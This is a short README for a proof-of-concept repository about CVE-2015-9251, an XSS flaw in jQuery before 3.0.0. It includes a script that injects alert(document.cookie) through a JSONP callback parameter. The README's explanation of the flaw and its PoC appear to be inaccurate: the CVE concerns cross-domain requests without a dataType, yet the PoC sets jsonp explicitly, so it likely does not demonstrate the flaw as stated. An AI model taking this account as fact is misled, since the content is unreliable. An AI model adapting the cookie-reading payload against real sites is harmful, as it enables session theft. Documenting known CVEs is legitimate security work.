CVE-2015-9251

[email protected]

PoC for CVE-2015-9251 jQuery before 3.0.0.

CVE-2015-9251 - PoC Exploit

This repository contains a Proof of Concept (PoC) for the vulnerability CVE-2015-9251 in the jQuery library. The vulnerability allows a Cross-Site Scripting (XSS) attack through unsanitized JSONP calls, because jQuery allows code injection in the callback parameter in versions prior to 3.0.0.

Description

CVE-2015-9251 affects jQuery versions prior to 3.0.0. The vulnerability is exploited by manipulating the callback parameter in a JSONP request, which can allow the execution of arbitrary JavaScript code in the victim's browser. This can lead to the exposure of sensitive data, such as session cookies.

Requirements

1. Test Environment: The vulnerable web application must use a jQuery version lower than 3.0.0.
2. Web Browser: To run the PoC and observe the exploit's behavior.
3. Inspection Tool: The browser's DevTools will be useful to see the results.

PoC Execution

To run the PoC, follow these steps:

1. Copy and paste the code into the browser console or include it in a test HTML page.

PoC Code:

<script src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<script>
  // Function that simulates a request to a vulnerable server
  $.ajax({
    url: "https://example.com/api?callback=alert(document.cookie)",
    dataType: "jsonp", // JSONP allows code execution in JSONP callbacks
    success: function(response) {
      console.log(response);
    }
  });
</script>